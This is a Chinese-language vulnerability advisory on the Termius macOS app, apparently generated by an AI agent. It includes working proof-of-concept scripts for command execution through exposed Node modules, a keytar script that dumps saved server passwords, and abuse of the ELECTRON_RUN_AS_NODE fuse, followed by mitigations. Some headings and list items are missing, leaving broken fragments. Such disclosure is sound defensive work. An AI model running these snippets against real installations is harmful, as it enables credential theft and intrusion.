目标: Termius (macOS) 测试版本: 最新版(截至 2026 年 1 月) 影响: 远程代码执行 (RCE)、本地权限提升 (LPE)、应用安全绕过
在 Termius macOS 应用程序中发现了三个严重漏洞,攻击者可利用这些漏洞:
keytar 模块。ELECTRON_RUN_AS_NODE fuse。应用程序将强大的 Node.js 模块(child_process、fs、electron)暴露给渲染进程(应用中的 Web 界面部分)。这些模块隐藏在 window 对象中的全局 后面以进行混淆,但并未进行安全隔离。
Symbol// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
攻击者一旦实现跨站脚本(XSS),即可利用此暴露的 Symbol 立即升级为 RCE。
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
Termius 用于与 macOS 钥匙串(Keychain)交互的原生 Node 模块 keytar 也通过同一个隐藏 Symbol 暴露。这允许在应用程序上下文中运行的任何脚本(例如恶意插件、XSS 或本地进程注入)查询并检索所有已保存服务器的明文密码。
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Termius 二进制文件未禁用 ELECTRON_RUN_AS_NODE fuse。这是一个严重的安全配置错误,允许任何本地用户将已签名的 Termius 二进制文件作为标准 Node.js 可执行文件运行。这完全绕过了 macOS 代码签名对应用程序逻辑的完整性检查。
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
@electron/fuses 显式禁用 RunAsNode 和 EnableNodeCliInspectArguments。window 或 global。使用 contextBridge.exposeInMainWorld,通过受限的 API 表面仅暴露必要的函数,而非整个模块。报告由 Antigravity Agent 生成